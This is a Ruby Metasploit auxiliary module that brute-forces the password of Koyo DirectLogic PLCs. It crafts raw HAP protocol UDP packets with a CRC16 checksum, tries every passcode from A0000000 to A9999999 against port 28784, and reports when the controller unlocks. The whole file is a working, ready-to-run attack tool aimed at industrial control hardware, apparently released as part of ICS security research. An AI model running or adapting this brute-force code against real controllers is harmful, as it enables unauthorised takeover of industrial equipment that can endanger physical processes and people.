koyobrute.rb
require 'msf/core'

# msfdev is going to want a bunch of other stuff for style/compat but this works

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name' 		=> 'Koyo DirectLogic Password Brute Force Utility',
			'Version' 	=> '$Revision: 3 $',
			'Description' 	=> %q{This module attempts to authenticate to
					a locked Koyo DirectLogic PLC.  The PLC uses a restrictive
					password.  The number can be A0000000-A9999999.
					},
			'Author'	=> ['K. Reid Wightman <wightman@digitalbond.com>'],
			'References'	=> [],
			'License'	=> MSF_LICENSE
		)
		register_options([Opt::RPORT(28784)])

		@CCITT_16 = [
			0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
			0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
			0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
			0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
			0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
			0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
			0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
			0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
			0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
			0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
			0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
			0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
			0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
			0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
			0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
			0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
			0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
			0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
			0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
			0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
			0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
			0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
			0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
			0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
			0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
			0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
			0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
			0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
			0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
			0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
			0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
			0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
		]
	end

	def crc16(buf, crc=0)
		buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff}
		[crc].pack("S")
	end

	def check(ip)
		udp_sock = Rex::Socket::Udp.create()
		checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
		udp_sock.sendto(checkpacket, ip, datastore['RPORT'].to_i, 0)

		recvpacks = 0
		while (r = udp_sock.recvfrom(65535, 0.1) and recvpacks < 2)
			res = r[0]
			if res.length == 269 # auth reply packet
				if res[17] == "\x00" and res[19] == "\xD2"
					return true
				end
			end
			recvpacks += 1
		end
		return false
	end

	def try_auth(ip, passstr)
		udp_sock = Rex::Socket::Udp.create()

		data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
		header = "HAP"
		header += "\xe5\x01" # random session ID
		header += crc16(data)
		header += [data.length].pack("S")
		authpacket = header + data

		udp_sock.sendto(authpacket, ip, datastore['RPORT'].to_i, 0)
		2.times { udp_sock.get } # talk to the hand

		status = check(ip)

		return status
	end

	def run_host(ip)
		print_status("Checking the controller for locked memory...")
		if check(ip)
			print_good(ip +" is unlocked.")
			return
		else
			print_status("Controller locked; commencing authbrute...")
		end

		(0..9999999).each do |i|

			passcode = 'A' + i.to_s.rjust(7,'0')
			print_status("Trying " + passcode) if datastore['VERBOSE']

			bytes = []
			passcode.scan(/../).each { |x| bytes << x.hex }
			passstr = bytes.pack("c*")

			res = try_auth(ip, passstr)
			if res
				print_good "Found password: #{passcode}"
				break
			end
		end
	end

	def run
		ip =  datastore['RHOST']
		run_host(ip)
	end

end
